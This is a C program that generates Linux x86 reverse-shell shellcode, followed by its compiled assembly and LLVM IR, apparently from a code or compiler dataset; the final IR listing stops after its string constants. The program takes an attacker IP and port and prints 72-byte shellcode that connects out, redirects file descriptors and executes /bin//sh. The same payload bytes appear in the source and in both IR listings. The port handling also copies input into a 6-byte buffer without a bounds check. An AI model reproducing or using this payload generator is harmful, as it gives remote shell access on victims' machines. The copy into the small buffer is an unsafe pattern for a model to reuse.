#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct option {
  char *member_0;
  char member_3;
  int /*<<< orphan*/ *member_2;
  int /*<<< orphan*/ const member_1;
};

/* Variables and functions */
unsigned int atoi(char *);
char getopt_long(int, char **, char *, struct option const *, int *);
int /*<<< orphan*/ *optarg;
int /*<<< orphan*/ printf(char *, ...);
#define required_argument 128
int /*<<< orphan*/ strcpy(char *, int /*<<< orphan*/ *);
char *strtok(int /*<<< orphan*/ *, char *);
int main(int argc, char *argv[]) {
  unsigned int port, ip1, ip2, ip3, ip4;
  unsigned char low, high;
  char cmdArg[6], *p;
  char c;
  int i;
  int option_index = 0;
  static const struct option longOpts[] = {
      {"LHOST", required_argument, NULL, 'i'},
      {"lhost", required_argument, NULL, 'i'},
      {"LPORT", required_argument, NULL, 'p'},
      {"lport", required_argument, NULL, 'p'},
      {NULL, 0, NULL, 0}};
  port = ip1 = ip2 = ip3 = ip4 = 0;
  while ((c = getopt_long(argc, argv, ":i:p:", longOpts, &option_index)) !=
         -1) {
    switch (c) {
    case 'i':
      p = strtok(optarg, ".");
      if (p)
        ip1 = atoi(p);
      else {
        ip1 = ip2 = ip3 = ip4 = 0;
        break;
      }
      p = strtok(NULL, ".");
      if (p)
        ip2 = atoi(p);
      else {
        ip1 = ip2 = ip3 = ip4 = 0;
        break;
      }
      p = strtok(NULL, ".");
      if (p)
        ip3 = atoi(p);
      else {
        ip1 = ip2 = ip3 = ip4 = 0;
        break;
      }
      p = strtok(NULL, ".");
      if (p)
        ip4 = atoi(p);
      else {
        ip1 = ip2 = ip3 = ip4 = 0;
        break;
      }
      break;
    case 'p':
      strcpy(cmdArg, optarg);
      port = atoi(cmdArg);
      high = port >> 8;
      low = (port << 8) >> 8;
      break;
    default:
      printf("\n\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n"
             "\t   or: %s -i <IP address> -p <port>\n\n",
             argv[0], argv[0]);
      return -1;
    }
  }
  if (ip1 == 0 && ip2 == 0 && ip3 == 0 && ip4 == 0) {
    printf("\n\tInvalid IP address\n"
           "\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n",
           argv[0]);
    return -1;
  } else if (ip1 > 254 || ip2 > 254 || ip3 > 254 || ip4 > 254) {
    printf("\n\tInvalid IP address\n"
           "\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n",
           argv[0]);
    return -1;
  } else if (port < 1 || port > 65535) {
    printf("\n\tInvalid port number\n"
           "\tUsage: %s --LHOST=<IP address> --LPORT=<port>\n\n",
           argv[0]);
    return -1;
  } else {
    if (high == 0 || low == 0 || ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 0) {
      printf("\n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"
             "!!  CAUTION:  NULL characters detected  !!\n"
             "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
    }
    printf("\nShellcode length             : 72 bytes\n\n"
           "IP Address (%03d.%03d.%03d.%03d) : \\x%02x\\x%02x\\x%02x\\x%02x\n"
           "Bind port (%05d)            : \\x%02x\\x%02x\n\n"
           "\"\\x99\\x52\\x42\\x52\\x89\\xd3\\x42\\x52\\x89\\xe1\"\n"
           "\"\\x6a\\x66\\x58\\x89\\xc7\\xcd\\x80\\x97\\x68\\x%02x\"\n"
           "\"\\x%02x\\x%02x\\x%02x\\x66\\x68\\x%02x\\x%02x\\x66\\x6a\\x02\"\n"
           "\"\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xb3\\x03\"\n"
           "\"\\xcd\\x80\\x5b\\x87\\xca\\xb0\\x3f\\xcd\\x80\\x49\"\n"
           "\"\\x79\\xf9\\x99\\x89\\xd1\\x52\\x68\\x2f\\x2f\\x73\"\n"
           "\"\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\"\n"
           "\"\\xcd\\x80\";\n\n",
           ip1, ip2, ip3, ip4, ip1, ip2, ip3, ip4, port, high, low, ip1, ip2,
           ip3, ip4, high, low);
    return 0;
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0xb8,%rsp
movl   $0x0,-0x2c(%rbp)
mov    %edi,-0x30(%rbp)
mov    %rsi,-0x38(%rbp)
movl   $0x0,-0x6c(%rbp)
movl   $0x0,-0x4c(%rbp)
movl   $0x0,-0x48(%rbp)
movl   $0x0,-0x44(%rbp)
movl   $0x0,-0x40(%rbp)
movl   $0x0,-0x3c(%rbp)
mov    -0x30(%rbp),%edi
mov    -0x38(%rbp),%rsi
lea    0xe6e(%rip),%rdx
lea    0x2bbf(%rip),%rcx
lea    -0x6c(%rbp),%r8
call   1040 <getopt_long@plt>
mov    %al,-0x61(%rbp)
movsbl %al,%eax
cmp    $0xffffffff,%eax
je     13a4 <main+0x254>
movsbl -0x61(%rbp),%eax
mov    %eax,-0x70(%rbp)
sub    $0x69,%eax
je     11ef <main+0x9f>
jmp    11de <main+0x8e>
mov    -0x70(%rbp),%eax
sub    $0x70,%eax
je     133e <main+0x1ee>
jmp    1377 <main+0x227>
mov    0x2dfa(%rip),%rax
mov    (%rax),%rdi
lea    0xe1e(%rip),%rsi
call   1060 <strtok@plt>
mov    %rax,-0x60(%rbp)
cmpq   $0x0,-0x60(%rbp)
je     1225 <main+0xd5>
mov    -0x60(%rbp),%rdi
call   1070 <atoi@plt>
mov    %eax,-0x40(%rbp)
jmp    1246 <main+0xf6>
movl   $0x0,-0x4c(%rbp)
movl   $0x0,-0x48(%rbp)
movl   $0x0,-0x44(%rbp)
movl   $0x0,-0x40(%rbp)
jmp    139f <main+0x24f>
xor    %eax,%eax
mov    %eax,%edi
lea    0xdcd(%rip),%rsi
call   1060 <strtok@plt>
mov    %rax,-0x60(%rbp)
cmpq   $0x0,-0x60(%rbp)
je     1276 <main+0x126>
mov    -0x60(%rbp),%rdi
call   1070 <atoi@plt>
mov    %eax,-0x44(%rbp)
jmp    1297 <main+0x147>
movl   $0x0,-0x4c(%rbp)
movl   $0x0,-0x48(%rbp)
movl   $0x0,-0x44(%rbp)
movl   $0x0,-0x40(%rbp)
jmp    139f <main+0x24f>
xor    %eax,%eax
mov    %eax,%edi
lea    0xd7c(%rip),%rsi
call   1060 <strtok@plt>
mov    %rax,-0x60(%rbp)
cmpq   $0x0,-0x60(%rbp)
je     12c7 <main+0x177>
mov    -0x60(%rbp),%rdi
call   1070 <atoi@plt>
mov    %eax,-0x48(%rbp)
jmp    12e8 <main+0x198>
movl   $0x0,-0x4c(%rbp)
movl   $0x0,-0x48(%rbp)
movl   $0x0,-0x44(%rbp)
movl   $0x0,-0x40(%rbp)
jmp    139f <main+0x24f>
xor    %eax,%eax
mov    %eax,%edi
lea    0xd2b(%rip),%rsi
call   1060 <strtok@plt>
mov    %rax,-0x60(%rbp)
cmpq   $0x0,-0x60(%rbp)
je     1318 <main+0x1c8>
mov    -0x60(%rbp),%rdi
call   1070 <atoi@plt>
mov    %eax,-0x4c(%rbp)
jmp    1339 <main+0x1e9>
movl   $0x0,-0x4c(%rbp)
movl   $0x0,-0x48(%rbp)
movl   $0x0,-0x44(%rbp)
movl   $0x0,-0x40(%rbp)
jmp    139f <main+0x24f>
jmp    139f <main+0x24f>
lea    -0x54(%rbp),%rdi
mov    0x2ca7(%rip),%rax
mov    (%rax),%rsi
call   1030 <strcpy@plt>
lea    -0x54(%rbp),%rdi
call   1070 <atoi@plt>
mov    %eax,-0x3c(%rbp)
mov    -0x3c(%rbp),%eax
shr    $0x8,%eax
mov    %al,-0x4e(%rbp)
mov    -0x3c(%rbp),%eax
shl    $0x8,%eax
shr    $0x8,%eax
mov    %al,-0x4d(%rbp)
jmp    139f <main+0x24f>
mov    -0x38(%rbp),%rax
mov    (%rax),%rsi
mov    -0x38(%rbp),%rax
mov    (%rax),%rdx
lea    0xc94(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0xffffffff,-0x2c(%rbp)
jmp    156b <main+0x41b>
jmp    119c <main+0x4c>
cmpl   $0x0,-0x40(%rbp)
jne    13ed <main+0x29d>
cmpl   $0x0,-0x44(%rbp)
jne    13ed <main+0x29d>
cmpl   $0x0,-0x48(%rbp)
jne    13ed <main+0x29d>
cmpl   $0x0,-0x4c(%rbp)
jne    13ed <main+0x29d>
mov    -0x38(%rbp),%rax
mov    (%rax),%rsi
lea    0xc9d(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0xffffffff,-0x2c(%rbp)
jmp    156b <main+0x41b>
cmpl   $0xfe,-0x40(%rbp)
ja     1421 <main+0x2d1>
cmpl   $0xfe,-0x44(%rbp)
ja     1421 <main+0x2d1>
cmpl   $0xfe,-0x48(%rbp)
ja     1421 <main+0x2d1>
cmpl   $0xfe,-0x4c(%rbp)
jbe    1442 <main+0x2f2>
mov    -0x38(%rbp),%rax
mov    (%rax),%rsi
lea    0xc48(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0xffffffff,-0x2c(%rbp)
jmp    156b <main+0x41b>
cmpl   $0x1,-0x3c(%rbp)
jb     1459 <main+0x309>
cmpl   $0xffff,-0x3c(%rbp)
jbe    147a <main+0x32a>
mov    -0x38(%rbp),%rax
mov    (%rax),%rsi
lea    0xc56(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0xffffffff,-0x2c(%rbp)
jmp    156b <main+0x41b>
movzbl -0x4e(%rbp),%eax
cmp    $0x0,%eax
je     14bc <main+0x36c>
movzbl -0x4d(%rbp),%eax
cmp    $0x0,%eax
je     14bc <main+0x36c>
cmpl   $0x0,-0x40(%rbp)
je     14bc <main+0x36c>
cmpl   $0x0,-0x44(%rbp)
je     14bc <main+0x36c>
cmpl   $0x0,-0x48(%rbp)
je     14bc <main+0x36c>
cmpl   $0x0,-0x4c(%rbp)
jne    14ca <main+0x37a>
lea    0xc41(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x40(%rbp),%esi
mov    -0x44(%rbp),%edx
mov    -0x48(%rbp),%ecx
mov    -0x4c(%rbp),%r8d
mov    -0x40(%rbp),%r9d
mov    -0x44(%rbp),%eax
mov    -0x48(%rbp),%edi
mov    %edi,-0x80(%rbp)
mov    -0x4c(%rbp),%edi
mov    %edi,-0x7c(%rbp)
mov    -0x3c(%rbp),%edi
mov    %edi,-0x78(%rbp)
movzbl -0x4e(%rbp),%r13d
movzbl -0x4d(%rbp),%r12d
mov    -0x40(%rbp),%r15d
mov    -0x44(%rbp),%r14d
mov    -0x48(%rbp),%ebx
mov    -0x4c(%rbp),%r11d
movzbl -0x4e(%rbp),%r10d
movzbl -0x4d(%rbp),%edi
mov    %edi,-0x74(%rbp)
lea    0xc6b(%rip),%rdi
mov    %eax,(%rsp)
mov    -0x80(%rbp),%eax
mov    %eax,0x8(%rsp)
mov    -0x7c(%rbp),%eax
mov    %eax,0x10(%rsp)
mov    -0x78(%rbp),%eax
mov    %eax,0x18(%rsp)
mov    -0x74(%rbp),%eax
mov    %r13d,0x20(%rsp)
mov    %r12d,0x28(%rsp)
mov    %r15d,0x30(%rsp)
mov    %r14d,0x38(%rsp)
mov    %ebx,0x40(%rsp)
mov    %r11d,0x48(%rsp)
mov    %r10d,0x50(%rsp)
mov    %eax,0x58(%rsp)
mov    $0x0,%al
call   1050 <printf@plt>
movl   $0x0,-0x2c(%rbp)
mov    -0x2c(%rbp),%eax
add    $0xb8,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x38,%rsp
mov    %rsi,%r12
mov    %edi,%r13d
movl   $0x0,0x1c(%rsp)
lea    0xe95(%rip),%rdx
lea    0x2be6(%rip),%rcx
lea    0x1c(%rsp),%r8
call   1050 <getopt_long@plt>
cmp    $0xff,%al
je     12c8 <main+0x168>
xor    %ecx,%ecx
mov    %rcx,0x20(%rsp)
xor    %ecx,%ecx
mov    %rcx,0x8(%rsp)
xor    %ebx,%ebx
xor    %r14d,%r14d
xor    %ecx,%ecx
mov    %rcx,0x10(%rsp)
jmp    1214 <main+0xb4>
nopl   0x0(%rax,%rax,1)
mov    0x2e29(%rip),%rax
mov    (%rax),%rsi
lea    0x32(%rsp),%rbp
mov    %rbp,%rdi
call   1030 <strcpy@plt>
mov    %rbp,%rdi
call   1080 <atoi@plt>
mov    %rax,%rcx
mov    %rax,0x20(%rsp)
mov    %eax,%r15d
shr    $0x8,%r15d
mov    %r13d,%edi
mov    %r12,%rsi
lea    0xe1d(%rip),%rdx
lea    0x2b6e(%rip),%rcx
lea    0x1c(%rsp),%r8
call   1050 <getopt_long@plt>
cmp    $0xff,%al
je     12e2 <main+0x182>
movsbl %al,%eax
cmp    $0x70,%eax
je     11c0 <main+0x60>
cmp    $0x69,%eax
jne    1359 <main+0x1f9>
mov    0x2dc4(%rip),%rax
mov    (%rax),%rdi
lea    0xde8(%rip),%rbx
mov    %rbx,%rsi
call   1070 <strtok@plt>
test   %rax,%rax
je     12b0 <main+0x150>
mov    %rax,%rdi
call   1080 <atoi@plt>
mov    %eax,%ebp
xor    %edi,%edi
mov    %rbx,%rsi
call   1070 <strtok@plt>
test   %rax,%rax
je     12b0 <main+0x150>
mov    %rax,%rdi
call   1080 <atoi@plt>
mov    %eax,%r14d
xor    %edi,%edi
mov    %rbx,%rsi
call   1070 <strtok@plt>
test   %rax,%rax
je     12b0 <main+0x150>
mov    %rax,%rdi
call   1080 <atoi@plt>
mov    %rax,0x28(%rsp)
xor    %edi,%edi
mov    %rbx,%rsi
call   1070 <strtok@plt>
test   %rax,%rax
je     12b0 <main+0x150>
mov    %rax,%rdi
call   1080 <atoi@plt>
mov    %rax,0x8(%rsp)
mov    %ebp,%eax
mov    %rax,0x10(%rsp)
mov    0x28(%rsp),%rbx
jmp    11ee <main+0x8e>
xor    %eax,%eax
mov    %rax,0x10(%rsp)
xor    %r14d,%r14d
xor    %ebx,%ebx
xor    %eax,%eax
mov    %rax,0x8(%rsp)
jmp    11ee <main+0x8e>
xor    %eax,%eax
mov    %rax,0x10(%rsp)
xor    %r14d,%r14d
xor    %ebx,%ebx
xor    %eax,%eax
mov    %rax,0x8(%rsp)
xor    %eax,%eax
mov    %rax,0x20(%rsp)
cmpl   $0x0,0x10(%rsp)
jne    1315 <main+0x1b5>
test   %r14d,%r14d
jne    1315 <main+0x1b5>
test   %ebx,%ebx
jne    1315 <main+0x1b5>
cmpl   $0x0,0x8(%rsp)
jne    1315 <main+0x1b5>
mov    (%r12),%rsi
lea    0xd73(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
mov    $0xffffffff,%ebx
jmp    13f3 <main+0x293>
cmpl   $0xfe,0x10(%rsp)
ja     12f9 <main+0x199>
cmp    $0xfe,%r14d
ja     12f9 <main+0x199>
cmp    $0xfe,%ebx
ja     12f9 <main+0x199>
cmpl   $0xff,0x8(%rsp)
jae    12f9 <main+0x199>
mov    0x20(%rsp),%rbp
lea    -0x10000(%rbp),%eax
cmp    $0xffff0000,%eax
ja     1375 <main+0x215>
mov    (%r12),%rsi
lea    0xd66(%rip),%rdi
jmp    1304 <main+0x1a4>
mov    (%r12),%rdx
lea    0xcbc(%rip),%rdi
mov    %rdx,%rsi
xor    %eax,%eax
call   1060 <printf@plt>
mov    $0xffffffff,%ebx
jmp    13f3 <main+0x293>
mov    %rbx,%r13
movzbl %r15b,%r15d
movzbl %bpl,%r10d
test   %r15b,%r15b
mov    0x10(%rsp),%r12
je     13a5 <main+0x245>
test   %bpl,%bpl
je     13a5 <main+0x245>
test   %r12d,%r12d
je     13a5 <main+0x245>
test   %r14d,%r14d
je     13a5 <main+0x245>
test   %r13d,%r13d
je     13a5 <main+0x245>
cmpl   $0x0,0x8(%rsp)
jne    13b7 <main+0x257>
lea    0xf31(%rip),%rdi
mov    %r10,%rbx
call   1040 <puts@plt>
mov    %rbx,%r10
lea    0xd46(%rip),%rdi
xor    %ebx,%ebx
mov    %r12d,%esi
mov    %r14d,%edx
mov    %r13d,%ecx
mov    0x8(%rsp),%r8
mov    %r12d,%r9d
xor    %eax,%eax
push   %r10
push   %r15
push   %r8
push   %r13
push   %r14
push   %r12
push   %r10
push   %r15
push   %rbp
push   %r8
push   %r13
push   %r14
call   1060 <printf@plt>
add    $0x60,%rsp
mov    %ebx,%eax
add    $0x38,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.option = type { i8*, i8, i32*, i32 }
@main.longOpts = internal constant [5 x %struct.option] [%struct.option { i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i32 0, i32 0), i8 -128, i32* null, i32 105 }, %struct.option { i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i32 0, i32 0), i8 -128, i32* null, i32 105 }, %struct.option { i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i32 0, i32 0), i8 -128, i32* null, i32 112 }, %struct.option { i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i32 0, i32 0), i8 -128, i32* null, i32 112 }, %struct.option zeroinitializer]
@.str = [6 x i8] c"LHOST\00"
@.str.1 = [6 x i8] c"lhost\00"
@.str.2 = [6 x i8] c"LPORT\00"
@.str.3 = [6 x i8] c"lport\00"
@.str.4 = [6 x i8] c":i:p:\00"
@optarg = global i32* null
@.str.5 = [2 x i8] c".\00"
@.str.6 = [87 x i8] c"\0A\09Usage: %s --LHOST=<IP address> --LPORT=<port>\0A\09 or: %s -i <IP address> -p <port>\0A\0A\00"
@.str.7 = [70 x i8] c"\0A\09Invalid IP address\0A\09Usage: %s --LHOST=<IP address> --LPORT=<port>\0A\0A\00"
@.str.8 = [71 x i8] c"\0A\09Invalid port number\0A\09Usage: %s --LHOST=<IP address> --LPORT=<port>\0A\0A\00"
@.str.9 = [131 x i8] c"\0A!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\0A!! CAUTION: NULL characters detected !!\0A!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\0A\00"
@.str.10 = [473 x i8] c"\0AShellcode length : 72 bytes\0A\0AIP Address (%03d.%03d.%03d.%03d) : \\x%02x\\x%02x\\x%02x\\x%02x\0ABind port (%05d) : \\x%02x\\x%02x\0A\0A\22\\x99\\x52\\x42\\x52\\x89\\xd3\\x42\\x52\\x89\\xe1\22\0A\22\\x6a\\x66\\x58\\x89\\xc7\\xcd\\x80\\x97\\x68\\x%02x\22\0A\22\\x%02x\\x%02x\\x%02x\\x66\\x68\\x%02x\\x%02x\\x66\\x6a\\x02\22\0A\22\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xb3\\x03\22\0A\22\\xcd\\x80\\x5b\\x87\\xca\\xb0\\x3f\\xcd\\x80\\x49\22\0A\22\\x79\\xf9\\x99\\x89\\xd1\\x52\\x68\\x2f\\x2f\\x73\22\0A\22\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\22\0A\22\\xcd\\x80\22;\0A\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i32
%10 = alloca i32
%11 = alloca i8
%12 = alloca i8
%13 = alloca [6 x i8]
%14 = alloca i8*
%15 = alloca i8
%16 = alloca i32
%17 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %17
store i32 0, i32* %10
store i32 0, i32* %9
store i32 0, i32* %8
store i32 0, i32* %7
store i32 0, i32* %6
br label %18
18: ; preds = %82, %2
%19 = load i32, i32* %4
%20 = load i8**, i8*** %5
%21 = call signext i8 @getopt_long(i32 %19, i8** %20, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.4, i64 0, i64 0), %struct.option* getelementptr inbounds ([5 x %struct.option], [5 x %struct.option]* @main.longOpts, i64 0, i64 0), i32* %17)
store i8 %21, i8* %15
%22 = sext i8 %21 to i32
%23 = icmp ne i32 %22, -1
br i1 %23, label %24, label %83
24: ; preds = %18
%25 = load i8, i8* %15
%26 = sext i8 %25 to i32
switch i32 %26, label %74 [
i32 105, label %27
i32 112, label %61
]
27: ; preds = %24
%28 = load i32*, i32** @optarg
%29 = call i8* @strtok(i32* %28, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.5, i64 0, i64 0))
store i8* %29, i8** %14
%30 = load i8*, i8** %14
%31 = icmp ne i8* %30, null
br i1 %31, label %32, label %35
32: ; preds = %27
%33 = load i8*, i8** %14
%34 = call i32 @atoi(i8* %33)
store i32 %34, i32* %7
br label %36
35: ; preds = %27
store i32 0, i32* %10
store i32 0, i32* %9
store i32 0, i32* %8
store i32 0, i32* %7
br label %82
36: ; preds = %32
%37 = call i8* @strtok(i32* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.5, i64 0, i64 0))
store i8* %37, i8** %14
%38 = load i8*, i8** %14
%39 = icmp ne i8* %38, null
br i1 %39, label %40, label %43
40: ; preds = %36
%41 = load i8*, i8** %14
%42 = call i32 @atoi(i8* %41)
store i32 %42, i32* %8
br label %44
43: ; preds = %36
store i32 0, i32* %10
store i32 0, i32* %9
store i32 0, i32* %8
store i32 0, i32* %7
br label %82
44: ; preds = %40
%45 = call i8* @strtok(i32* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.5, i64 0, i64 0))
store i8* %45, i8** %14
%46 = load i8*, i8** %14
%47 = icmp ne i8* %46, null
br i1 %47, label %48, label %51
48: ; preds = %44
%49 = load i8*, i8** %14
%50 = call i32 @atoi(i8* %49)
store i32 %50, i32* %9
br label %52
51: ; preds = %44
store i32 0, i32* %10
store i32 0, i32* %9
store i32 0, i32* %8
store i32 0, i32* %7
br label %82
52: ; preds = %48
%53 = call i8* @strtok(i32* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.5, i64 0, i64 0))
store i8* %53, i8** %14
%54 = load i8*, i8** %14
%55 = icmp ne i8* %54, null
br i1 %55, label %56, label %59
56: ; preds = %52
%57 = load i8*, i8** %14
%58 = call i32 @atoi(i8* %57)
store i32 %58, i32* %10
br label %60
59: ; preds = %52
store i32 0, i32* %10
store i32 0, i32* %9
store i32 0, i32* %8
store i32 0, i32* %7
br label %82
60: ; preds = %56
br label %82
61: ; preds = %24
%62 = getelementptr inbounds [6 x i8], [6 x i8]* %13, i64 0, i64 0
%63 = load i32*, i32** @optarg
%64 = call i32 @strcpy(i8* %62, i32* %63)
%65 = getelementptr inbounds [6 x i8], [6 x i8]* %13, i64 0, i64 0
%66 = call i32 @atoi(i8* %65)
store i32 %66, i32* %6
%67 = load i32, i32* %6
%68 = lshr i32 %67, 8
%69 = trunc i32 %68 to i8
store i8 %69, i8* %12
%70 = load i32, i32* %6
%71 = shl i32 %70, 8
%72 = lshr i32 %71, 8
%73 = trunc i32 %72 to i8
store i8 %73, i8* %11
br label %82
74: ; preds = %24
%75 = load i8**, i8*** %5
%76 = getelementptr inbounds i8*, i8** %75, i64 0
%77 = load i8*, i8** %76
%78 = load i8**, i8*** %5
%79 = getelementptr inbounds i8*, i8** %78, i64 0
%80 = load i8*, i8** %79
%81 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([87 x i8], [87 x i8]* @.str.6, i64 0, i64 0), i8* %77, i8* %80)
store i32 -1, i32* %3
br label %173
82: ; preds = %61, %60, %59, %51, %43, %35
br label %18
83: ; preds = %18
%84 = load i32, i32* %7
%85 = icmp eq i32 %84, 0
br i1 %85, label %86, label %100
86: ; preds = %83
%87 = load i32, i32* %8
%88 = icmp eq i32 %87, 0
br i1 %88, label %89, label %100
89: ; preds = %86
%90 = load i32, i32* %9
%91 = icmp eq i32 %90, 0
br i1 %91, label %92, label %100
92: ; preds = %89
%93 = load i32, i32* %10
%94 = icmp eq i32 %93, 0
br i1 %94, label %95, label %100
95: ; preds = %92
%96 = load i8**, i8*** %5
%97 = getelementptr inbounds i8*, i8** %96, i64 0
%98 = load i8*, i8** %97
%99 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([70 x i8], [70 x i8]* @.str.7, i64 0, i64 0), i8* %98)
store i32 -1, i32* %3
br label %173
100: ; preds = %92, %89, %86, %83
%101 = load i32, i32* %7
%102 = icmp ugt i32 %101, 254
br i1 %102, label %112, label %103
103: ; preds = %100
%104 = load i32, i32* %8
%105 = icmp ugt i32 %104, 254
br i1 %105, label %112, label %106
106: ; preds = %103
%107 = load i32, i32* %9
%108 = icmp ugt i32 %107, 254
br i1 %108, label %112, label %109
109: ; preds = %106
%110 = load i32, i32* %10
%111 = icmp ugt i32 %110, 254
br i1 %111, label %112, label %117
112: ; preds = %109, %106, %103, %100
%113 = load i8**, i8*** %5
%114 = getelementptr inbounds i8*, i8** %113, i64 0
%115 = load i8*, i8** %114
%116 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([70 x i8], [70 x i8]* @.str.7, i64 0, i64 0), i8* %115)
store i32 -1, i32* %3
br label %173
117: ; preds = %109
%118 = load i32, i32* %6
%119 = icmp ult i32 %118, 1
br i1 %119, label %123, label %120
120: ; preds = %117
%121 = load i32, i32* %6
%122 = icmp ugt i32 %121, 65535
br i1 %122, label %123, label %128
123: ; preds = %120, %117
%124 = load i8**, i8*** %5
%125 = getelementptr inbounds i8*, i8** %124, i64 0
%126 = load i8*, i8** %125
%127 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([71 x i8], [71 x i8]* @.str.8, i64 0, i64 0), i8* %126)
store i32 -1, i32* %3
br label %173
128: ; preds = %120
%129 = load i8, i8* %12
%130 = zext i8 %129 to i32
%131 = icmp eq i32 %130, 0
br i1 %131, label %148, label %132
132: ; preds = %128
%133 = load i8, i8* %11
%134 = zext i8 %133 to i32
%135 = icmp eq i32 %134, 0
br i1 %135, label %148, label %136
136: ; preds = %132
%137 = load i32, i32* %7
%138 = icmp eq i32 %137, 0
br i1 %138, label %148, label %139
139: ; preds = %136
%140 = load i32, i32* %8
%141 = icmp eq i32 %140, 0
br i1 %141, label %148, label %142
142: ; preds = %139
%143 = load i32, i32* %9
%144 = icmp eq i32 %143, 0
br i1 %144, label %148, label %145
145: ; preds = %142
%146 = load i32, i32* %10
%147 = icmp eq i32 %146, 0
br i1 %147, label %148, label %150
148: ; preds = %145, %142, %139, %136, %132, %128
%149 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([131 x i8], [131 x i8]* @.str.9, i64 0, i64 0))
br label %150
150: ; preds = %148, %145
%151 = load i32, i32* %7
%152 = load i32, i32* %8
%153 = load i32, i32* %9
%154 = load i32, i32* %10
%155 = load i32, i32* %7
%156 = load i32, i32* %8
%157 = load i32, i32* %9
%158 = load i32, i32* %10
%159 = load i32, i32* %6
%160 = load i8, i8* %12
%161 = zext i8 %160 to i32
%162 = load i8, i8* %11
%163 = zext i8 %162 to i32
%164 = load i32, i32* %7
%165 = load i32, i32* %8
%166 = load i32, i32* %9
%167 = load i32, i32* %10
%168 = load i8, i8* %12
%169 = zext i8 %168 to i32
%170 = load i8, i8* %11
%171 = zext i8 %170 to i32
%172 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([473 x i8], [473 x i8]* @.str.10, i64 0, i64 0), i32 %151, i32 %152, i32 %153, i32 %154, i32 %155, i32 %156, i32 %157, i32 %158, i32 %159, i32 %161, i32 %163, i32 %164, i32 %165, i32 %166, i32 %167, i32 %169, i32 %171)
store i32 0, i32* %3
br label %173
173: ; preds = %150, %123, %112, %95, %74
%174 = load i32, i32* %3
ret i32 %174
}

LLVM IR (-O2):
%struct.option = type { i8*, i8, i32*, i32 }
@main.longOpts = internal constant [5 x %struct.option] [%struct.option { i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i32 0, i32 0), i8 -128, i32* null, i32 105 }, %struct.option { i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i32 0, i32 0), i8 -128, i32* null, i32 105 }, %struct.option { i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.2, i32 0, i32 0), i8 -128, i32* null, i32 112 }, %struct.option { i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.3, i32 0, i32 0), i8 -128, i32* null, i32 112 }, %struct.option zeroinitializer]
@.str = [6 x i8] c"LHOST\00"
@.str.1 = [6 x i8] c"lhost\00"
@.str.2 = [6 x i8] c"LPORT\00"
@.str.3 = [6 x i8] c"lport\00"
@.str.4 = [6 x i8] c":i:p:\00"
@optarg = global i32* null
@.str.5 = [2 x i8] c".\00"
@.str.6 = [87 x i8] c"\0A\09Usage: %s --LHOST=<IP address> --LPORT=<port>\0A\09 or: %s -i <IP address> -p <port>\0A\0A\00"
@.str.7 = [70 x i8] c"\0A\09Invalid IP address\0A\09Usage: %s --LHOST=<IP address> --LPORT=<port>\0A\0A\00"
@.str.8 = [71 x i8] c"\0A\09Invalid port number\0A\09Usage: %s --LHOST=<IP address> --LPORT=<port>\0A\0A\00"
